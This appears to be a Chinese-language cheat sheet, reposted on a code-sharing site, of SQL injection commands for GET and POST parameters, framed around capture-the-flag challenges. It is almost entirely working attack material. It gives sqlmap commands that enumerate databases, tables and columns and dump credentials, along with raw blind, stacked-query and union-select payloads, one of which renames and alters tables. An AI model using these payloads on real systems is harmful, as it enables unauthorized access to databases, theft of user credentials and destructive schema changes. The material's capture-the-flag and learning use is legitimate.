sql 注入get與post模式語句


目錄

get

sqlmap -u url/?inject=1
---
Parameter: inject (GET)   # get
    Type: boolean-based blind   #布爾盲注
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: inject=1' AND 2572=2572 AND 'WxsW'='WxsW
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: inject=1' AND SLEEP(5) AND 'EApM'='EApM
---
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
這段代碼的意思是將words表名改為words1,1919810931114514表名改為words,將現在的words表中的flag列名改為id 然后用1' or 1=1 #得到flag值
get sqlmap url
先爆出數據庫名字 sqlmap -u url/?inject=1 --current-db url?inject=1';show databases;#
再爆出表名 sqlmap -u url/?inject=1 -D 數據庫名字 --tables 1';show tables;#
再爆出重點內容比如用戶名字密碼 sqlmap -u url/?inject=1 -D 數據庫名字 -T 表名字 --columns 1';show columns from 庫名;#
得到密碼 sqlmap -u url/?inject=1 -D 數據庫名字 -T 表名 -C "字段" --dump

post

查詢 sqlmap url
1.獲取注入點 sqlmap -u url --data "search=df" ' union select 1,2,3 #
2.獲取數據庫信息 sqlmap -u url --data "search=df" -dbs ' union select 1,2,3 #
3.獲取庫內表信息 sqlmap -u url --data "search=df" -D 庫名 --tables ' and 0 union select 1,table_schema,table_name from information_schema.columns #
4.獲取表內字段信息 sqlmap -u url --data "search=df" -D 庫名 -T 表名 --columns ' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='news'#
5.獲取字段內容,得到flag sqlmap -u url --data "search=df" -D 庫名 -T 表名 -C "字段" --dump ' and 0 union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM